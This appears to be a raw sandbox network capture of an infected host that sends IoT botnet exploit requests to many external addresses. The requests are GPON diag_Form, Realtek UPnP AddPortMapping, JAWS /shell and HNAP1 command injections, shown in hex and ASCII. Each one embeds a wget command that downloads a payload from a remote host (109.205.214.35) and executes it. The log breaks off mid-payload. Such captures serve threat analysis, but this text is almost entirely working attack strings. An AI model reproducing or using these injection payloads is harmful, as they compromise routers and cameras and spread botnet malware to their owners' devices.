Mar 21, 2024 05:22:59.467411995 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
992	192.168.2.14	44614	79.116.202.228	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.467442036 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
993	192.168.2.14	42838	212.122.191.48	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.467502117 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
994	192.168.2.14	55814	210.161.141.7	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.467550039 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
995	192.168.2.14	43974	2.85.58.53	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.467629910 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
996	192.168.2.14	59170	210.74.212.126	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.467642069 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
997	192.168.2.14	39494	79.234.165.62	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.467756033 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
998	192.168.2.14	60836	146.235.180.39	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.622690916 CET	987	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
999	192.168.2.14	60872	146.235.180.39	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.755561113 CET	987	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1000	192.168.2.14	34618	52.84.18.155	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:00.103538036 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:00.226258039 CET	927	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE

Session ID	Source IP	Source Port	Destination IP	Destination Port
1001	192.168.2.14	55248	193.178.223.141	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:00.151829958 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:00.350922108 CET	430	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:23:00 GMT Server: Apache/2.0.54 (Unix) Content-Length: 203 Keep-Alive: timeout=5, max=300 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1002	192.168.2.14	36604	23.36.204.85	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:00.194689989 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:00.282345057 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:23:00 GMT Date: Thu, 21 Mar 2024 04:23:00 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 62 34 63 38 32 63 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 39 38 30 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.b4c82c17.1710994980.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1003	192.168.2.14	41094	174.139.69.133	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:00.351103067 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:00.511159897 CET	333	IN	HTTP/1.1 400 Bad Request Server: openresty/1.25.3.1 Date: Thu, 21 Mar 2024 04:23:00 GMT Content-Type: text/html Content-Length: 163 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 35 2e 33 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty/1.25.3.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1004	192.168.2.14	58342	192.210.151.42	8081

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:01.255645037 CET	763	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Mar 21, 2024 05:23:01.827372074 CET	763	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 